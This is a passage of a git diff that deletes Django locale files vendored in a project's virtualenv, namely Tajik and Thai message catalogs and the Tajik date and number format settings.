you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Шумо ин хабарро барои он мебинед, ки сомонаи мазкур талаб менамояд, то амали " -"равонкунииформа ва CSRF cookie дар якҷоягӣ сурат гирад. Ин намуди 'cookie' " -"аз ҷиҳати бехатарӣбарои мутмаин шудани он, ки браузери шумо аз тарафи шахси " -"сеюм 'шикаста'' (взлом)нашудааст, ҳатмӣ мебошад." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Агар шумо браузери худро ба таври дастнораси ба cookies' ба танзим даровада " -"бошед,хоҳиш мекунем, ки ҳадди ақал барои сомонаи мазкур ё барои пайсшавии " -"таввассути HTTPS ё ин ки бароидархостҳои манбаашон якхела, амали " -"азнавбатанзимдарориро иҷро намоед." - -msgid "More information is available with DEBUG=True." -msgstr "" -"Маълумоти бештар дар режими 'танзимдарорӣ'(отладчика), бо фаъолсозии " -"DEBUG=True." - -msgid "No year specified" -msgstr "Сол ишора нашудааст" - -msgid "Date out of range" -msgstr "сана аз доираи муайян берун аст" - -msgid "No month specified" -msgstr "Моҳ ишора нашудааст" - -msgid "No day specified" -msgstr "Рӯз ишора нашудааст" - -msgid "No week specified" -msgstr "Ҳафта ишора нашудааст" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s дастнорас аст" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s навбатӣ дастнорасанд барои он ки %(class_name)s." -"allow_future бо қимати \" False\" гузошта шудааст." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Санаи нодурусти “%(datestr)s” шакли “%(format)s” гирифтааст" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Ягон %(verbose_name)s, мувофиқ бо дархости шумо ёфт нашуд" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Саҳифа 'охирин' нест ва ё ки бо адади яклухт(int) ишора нашудааст" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Саҳифаи нодуруст (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Азназаргузаронии рӯёхати файлҳо дар директорияи зерин номумкин аст." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” вуҷуд надорад" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Рӯёхати файлҳои директорияи %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" -"Django: веб-фреймворк барои перфектсионистҳо бо дедлайнҳо. Бисёр фреймворки " -"табъи дилва хастанакунанда ҳангоми кор." - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Инҷо андешаҳо оиди баромади Django " -"%(version)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Ҷобаҷогузорӣ муваффақона анҷом ёфт! Табрик!" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Шумо ин хабарро барои он мебинед, ки дар ишора намудед: DEBUG=True ва дар файли " -"ҷобаҷогузорӣ(settings)ягонто танзимгари URL-суроғаҳоро ишора нанамудед." - -msgid "Django Documentation" -msgstr "Ҳуҷҷатгузории Django" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "Роҳбарият: Барнома барои овоздиҳӣ" - -msgid "Get started with Django" -msgstr "оғози кор бо Django" - -msgid "Django Community" -msgstr "Иттиҳоди Django" - -msgid "Connect, get help, or contribute" -msgstr "Бо мо ҳамкорӣ намуда имкониятҳои навро пайдо намоед." diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tg/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/tg/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tg/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/tg/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 7692cd42..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tg/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tg/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/tg/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 2a7341b7..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tg/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tg/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/tg/formats.py deleted file mode 100644 index 0ab7d49a..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/tg/formats.py +++ /dev/null @@ -1,32 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j E Y г." -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j E Y г. G:i" -YEAR_MONTH_FORMAT = "F Y г." -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%d.%m.%y", # '25.10.06' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/th/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/th/LC_MESSAGES/django.mo deleted file mode 100644 index 3969ebd0..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/th/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/th/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/th/LC_MESSAGES/django.po deleted file mode 100644 index 8ab31f25..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/th/LC_MESSAGES/django.po +++ /dev/null @@ -1,1208 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abhabongse Janthong, 2015 -# Jannis Leidel , 2011 -# Kowit Charoenratchatabhan , 2014,2018-2019 -# Naowal Siripatana , 2017 -# sipp11 , 2014 -# Suteepat Damrongyingsupab , 2011-2012 -# Suteepat Damrongyingsupab , 2013 -# Vichai Vongvorakul , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Thai (http://www.transifex.com/django/django/language/th/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: th\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "อาฟฟริกัน" - -msgid "Arabic" -msgstr "อารบิก" - -msgid "Asturian" -msgstr "อัสตูเรียน" - -msgid "Azerbaijani" -msgstr "อาเซอร์ไบจาน" - -msgid "Bulgarian" -msgstr "บัลแกเรีย" - -msgid "Belarusian" -msgstr "เบลารุส" - -msgid "Bengali" -msgstr "เบ็งกาลี" - -msgid "Breton" -msgstr "เบรตัน" - -msgid "Bosnian" -msgstr "บอสเนีย" - -msgid "Catalan" -msgstr "คาตะลาน" - -msgid "Czech" -msgstr "เช็ก" - -msgid "Welsh" -msgstr "เวลส์" - -msgid "Danish" -msgstr "เดนมาร์ก" - -msgid "German" -msgstr "เยอรมัน" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "กรีก" - -msgid "English" -msgstr "อังกฤษ" - -msgid "Australian English" -msgstr "อังกฤษ - ออสเตรเลีย" - -msgid "British English" -msgstr "อังกฤษ - สหราชอาณาจักร" - -msgid "Esperanto" -msgstr "เอสเปรันโต" - -msgid "Spanish" -msgstr "สเปน" - -msgid "Argentinian Spanish" -msgstr "สเปน - อาร์เจนติน่า" - -msgid "Colombian Spanish" -msgstr "สเปน - โคลัมเบีย" - -msgid "Mexican Spanish" -msgstr "สเปน - เม็กซิกัน" - -msgid "Nicaraguan Spanish" -msgstr "นิการากัวสเปน" - -msgid "Venezuelan Spanish" -msgstr "เวเนซุเอลาสเปน" - -msgid "Estonian" -msgstr "เอสโตเนีย" - -msgid "Basque" -msgstr "แบ็ซค์" - -msgid "Persian" -msgstr "เปอร์เชีย" - -msgid "Finnish" -msgstr "ฟินแลนด์" - -msgid "French" -msgstr "ฝรั่งเศส" - -msgid "Frisian" -msgstr "ฟริเซียน" - -msgid "Irish" -msgstr "ไอริช" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "กาลิเซีย" - -msgid "Hebrew" -msgstr "ฮีบรู" - -msgid "Hindi" -msgstr "ฮินดี" - -msgid "Croatian" -msgstr "โครเอเชีย" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "ฮังการี" - -msgid "Armenian" -msgstr "อาร์เมเนียน" - -msgid "Interlingua" -msgstr "ภาษากลาง" - -msgid "Indonesian" -msgstr "อินโดนิเซีย" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "ไอซ์แลนด์" - -msgid "Italian" -msgstr "อิตาลี" - -msgid "Japanese" -msgstr "ญี่ปุ่น" - -msgid "Georgian" -msgstr "จอร์เจีย" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "คาซัค" - -msgid "Khmer" -msgstr "เขมร" - -msgid "Kannada" -msgstr "กัณณาท" - -msgid "Korean" -msgstr "เกาหลี" - -msgid "Luxembourgish" -msgstr "ลักแซมเบิร์ก" - -msgid "Lithuanian" -msgstr "ลิทัวเนีย" - -msgid "Latvian" -msgstr "ลัตเวีย" - -msgid "Macedonian" -msgstr "มาซิโดเนีย" - -msgid "Malayalam" -msgstr "มลายู" - -msgid "Mongolian" -msgstr "มองโกเลีย" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "พม่า" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "เนปาล" - -msgid "Dutch" -msgstr "ดัตช์" - -msgid "Norwegian Nynorsk" -msgstr "นอร์เวย์ - Nynorsk" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "ปัญจาบี" - -msgid "Polish" -msgstr "โปแลนด์" - -msgid "Portuguese" -msgstr "โปรตุเกส" - -msgid "Brazilian Portuguese" -msgstr "โปรตุเกส (บราซิล)" - -msgid "Romanian" -msgstr "โรมาเนีย" - -msgid "Russian" -msgstr "รัสเซีย" - -msgid "Slovak" -msgstr "สโลวัก" - -msgid "Slovenian" -msgstr "สโลวีเนีย" - -msgid "Albanian" -msgstr "อัลแบเนีย" - -msgid "Serbian" -msgstr "เซอร์เบีย" - -msgid "Serbian Latin" -msgstr "เซอร์เบียละติน" - -msgid "Swedish" -msgstr "สวีเดน" - -msgid "Swahili" -msgstr "สวาฮีลี" - -msgid "Tamil" -msgstr "ทมิฬ" - -msgid "Telugu" -msgstr "เตลุคู" - -msgid "Thai" -msgstr "ไทย" - -msgid "Turkish" -msgstr "ตุรกี" - -msgid "Tatar" -msgstr "ตาตาร์" - -msgid "Udmurt" -msgstr "อัดเมิร์ท" - -msgid "Ukrainian" -msgstr "ยูเครน" - -msgid "Urdu" -msgstr "เออร์ดู" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "เวียดนาม" - -msgid "Simplified Chinese" -msgstr "จีนตัวย่อ" - -msgid "Traditional Chinese" -msgstr "จีนตัวเต็ม" - -msgid "Messages" -msgstr "ข้อความ" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "หมายเลขหน้าดังกล่าวไม่ใช่จำนวนเต็ม" - -msgid "That page number is less than 1" -msgstr "หมายเลขหน้าดังกล่าวมีค่าน้อยกว่า 1" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "กรุณาใส่ค่าที่ถูกต้อง" - -msgid "Enter a valid URL." -msgstr "ใส่ URL ที่ถูกต้อง" - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "ป้อนที่อยู่อีเมลที่ถูกต้อง" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "กรุณาใส่หมายเลขไอพีที่ถูกต้อง" - -msgid "Enter a valid IPv6 address." -msgstr "กรอก IPv6 address ให้ถูกต้อง" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "กรอก IPv4 หรือ IPv6 address ให้ถูกต้อง" - -msgid "Enter only digits separated by commas." -msgstr "ใส่ตัวเลขที่คั่นด้วยจุลภาคเท่านั้น" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "ค่านี้ต้องเป็น %(limit_value)s (ปัจจุบันคือ %(show_value)s)" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "ค่านี้ต้องน้อยกว่าหรือเท่ากับ %(limit_value)s" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "ค่านี้ต้องมากกว่าหรือเท่ากับ %(limit_value)s" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -msgid "Enter a number." -msgstr "กรอกหมายเลข" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "และ" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "ฟิลด์นี้ไม่สารถปล่อยว่างได้" - -msgid "This field cannot be blank." -msgstr "ฟิลด์นี้เว้นว่างไม่ได้" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s และ %(field_label)s มีอยู่แล้ว" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "ฟิลด์ข้อมูล: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "ตรรกะแบบบูลหมายถึง ค่า\"จริง\" (True) หรือ \"ไม่จริง \" (False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "สตริง(ได้ถึง %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "จำนวนเต็มแบบมีจุลภาค" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "วันที่ (ไม่มีเวลา)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "วันที่ (พร้อมด้วยเวลา)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "เลขฐานสิบหรือเลขทศนิยม" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "ช่วงเวลา" - -msgid "Email address" -msgstr "อีเมล" - -msgid "File path" -msgstr "ตำแหน่งไฟล์" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "เลขทศนิยม" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "จำนวนเต็ม" - -msgid "Big (8 byte) integer" -msgstr "จำนวนเต็ม (8 byte)" - -msgid "IPv4 address" -msgstr "IPv4 address" - -msgid "IP address" -msgstr "หมายเลขไอพี" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "" -"ตรรกะแบบบูลหมายถึง ค่า\"จริง\" (True) หรือ \"ไม่จริง \" (False) หรือ \"ไม่มี\" (None)" - -msgid "Positive integer" -msgstr "จํานวนเต็มบวก" - -msgid "Positive small integer" -msgstr "จํานวนเต็มบวกขนาดเล็ก" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (ถึง %(max_length)s )" - -msgid "Small integer" -msgstr "จำนวนเต็มขนาดเล็ก" - -msgid "Text" -msgstr "ข้อความ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "เวลา" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "ไฟล์" - -msgid "Image" -msgstr "รูปภาพ" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (ชนิดของข้อมูลจะถูกกำหนดจากฟิลด์ที่เกี่ยวข้อง)" - -msgid "One-to-one relationship" -msgstr "ความสัมพันธ์แบบหนึ่งต่อหนึ่ง" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "ความสัมพันธ์แบบ many-to-many" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "ฟิลด์นี้จำเป็น" - -msgid "Enter a whole number." -msgstr "กรอกหมายเลข" - -msgid "Enter a valid date." -msgstr "กรุณาใส่วัน" - -msgid "Enter a valid time." -msgstr "กรุณาใส่เวลา" - -msgid "Enter a valid date/time." -msgstr "กรุณาใส่วันเวลา" - -msgid "Enter a valid duration." -msgstr "ใส่ระยะเวลาที่ถูกต้อง" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "ไม่มีไฟล์ใดถูกส่ง. ตรวจสอบ encoding type ในฟอร์ม." - -msgid "No file was submitted." -msgstr "ไม่มีไฟล์ใดถูกส่ง" - -msgid "The submitted file is empty." -msgstr "ไฟล์ที่ส่งว่างเปล่า" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "โปรดเลือกไฟล์หรือติ๊ก clear checkbox อย่างใดอย่างหนึ่ง" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "อัพโหลดรูปที่ถูกต้อง. ไฟล์ที่อัพโหลดไปไม่ใช่รูป หรือรูปเสียหาย." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "เลือกตัวเลือกที่ถูกต้อง. %(value)s ไม่ใช่ตัวเลือกที่ใช้ได้." - -msgid "Enter a list of values." -msgstr "ใส่รายการ" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "ใส่ UUID ที่ถูกต้อง" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" - -msgid "Order" -msgstr "เรียงลำดับ" - -msgid "Delete" -msgstr "ลบ" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "โปรดแก้ไขข้อมูลที่ซ้ำซ้อนใน %(field)s" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "โปรดแก้ไขข้อมูลที่ซ้ำซ้อนใน %(field)s ซึ่งจะต้องไม่ซ้ำกัน" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"โปรดแก้ไขข้อมูลซ้ำซ้อนใน %(field_name)s ซึ่งจะต้องไม่ซ้ำกันสำหรับ %(lookup)s ใน " -"%(date_field)s" - -msgid "Please correct the duplicate values below." -msgstr "โปรดแก้ไขค่าที่ซ้ำซ้อนด้านล่าง" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "เลือกตัวเลือกที่ถูกต้อง. ตัวเลือกนั้นไม่สามารถเลือกได้." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "ล้าง" - -msgid "Currently" -msgstr "ปัจจุบัน" - -msgid "Change" -msgstr "เปลี่ยนแปลง" - -msgid "Unknown" -msgstr "ไม่รู้" - -msgid "Yes" -msgstr "ใช่" - -msgid "No" -msgstr "ไม่ใช่" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "ใช่,ไม่ใช่,อาจจะ" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d ไบต์" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "เที่ยงคืน" - -msgid "noon" -msgstr "เที่ยงวัน" - -msgid "Monday" -msgstr "จันทร์" - -msgid "Tuesday" -msgstr "อังคาร" - -msgid "Wednesday" -msgstr "พุธ" - -msgid "Thursday" -msgstr "พฤหัสบดี" - -msgid "Friday" -msgstr "ศุกร์" - -msgid "Saturday" -msgstr "เสาร์" - -msgid "Sunday" -msgstr "อาทิตย์" - -msgid "Mon" -msgstr "จ." - -msgid "Tue" -msgstr "อ." - -msgid "Wed" -msgstr "พ." - -msgid "Thu" -msgstr "พฤ." - -msgid "Fri" -msgstr "ศ." - -msgid "Sat" -msgstr "ส." - -msgid "Sun" -msgstr "อา." - -msgid "January" -msgstr "มกราคม" - -msgid "February" -msgstr "กุมภาพันธ์" - -msgid "March" -msgstr "มีนาคม" - -msgid "April" -msgstr "เมษายน" - -msgid "May" -msgstr "พฤษภาคม" - -msgid "June" -msgstr "มิถุนายน" - -msgid "July" -msgstr "กรกฎาคม" - -msgid "August" -msgstr "สิงหาคม" - -msgid "September" -msgstr "กันยายน" - -msgid "October" -msgstr "ตุลาคม" - -msgid "November" -msgstr "พฤศจิกายน" - -msgid "December" -msgstr "ธันวาคม" - -msgid "jan" -msgstr "ม.ค." - -msgid "feb" -msgstr "ก.พ." - -msgid "mar" -msgstr "มี.ค." - -msgid "apr" -msgstr "เม.ย." - -msgid "may" -msgstr "พ.ค." - -msgid "jun" -msgstr "มิ.ย." - -msgid "jul" -msgstr "ก.ค." - -msgid "aug" -msgstr "ส.ค." - -msgid "sep" -msgstr "ก.ย." - -msgid "oct" -msgstr "ต.ค." - -msgid "nov" -msgstr "พ.ย." - -msgid "dec" -msgstr "ธ.ค." - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "ม.ค." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "ก.พ." - -msgctxt "abbrev. month" -msgid "March" -msgstr "มี.ค." - -msgctxt "abbrev. month" -msgid "April" -msgstr "เม.ย." - -msgctxt "abbrev. month" -msgid "May" -msgstr "พ.ค." - -msgctxt "abbrev. month" -msgid "June" -msgstr "มิ.ย." - -msgctxt "abbrev. month" -msgid "July" -msgstr "ก.ค." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ส.ค." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "ก.ย." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "ต.ค." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "พ.ย." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "ธ.ค." - -msgctxt "alt. month" -msgid "January" -msgstr "มกราคม" - -msgctxt "alt. month" -msgid "February" -msgstr "กุมภาพันธ์" - -msgctxt "alt. month" -msgid "March" -msgstr "มีนาคม" - -msgctxt "alt. month" -msgid "April" -msgstr "เมษายน" - -msgctxt "alt. month" -msgid "May" -msgstr "พฤษภาคม" - -msgctxt "alt. month" -msgid "June" -msgstr "มิถุนายน" - -msgctxt "alt. month" -msgid "July" -msgstr "กรกฎาคม" - -msgctxt "alt. month" -msgid "August" -msgstr "สิงหาคม" - -msgctxt "alt. month" -msgid "September" -msgstr "กันยายน" - -msgctxt "alt. month" -msgid "October" -msgstr "ตุลาคม" - -msgctxt "alt. month" -msgid "November" -msgstr "พฤศจิกายน" - -msgctxt "alt. month" -msgid "December" -msgstr "ธันวาคม" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "หรือ" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d ปี" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d เดือน" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d สัปดาห์" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d วัน" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d ชั่วโมง" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d นาที" - -msgid "0 minutes" -msgstr "0 นาที" - -msgid "Forbidden" -msgstr "หวงห้าม" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires 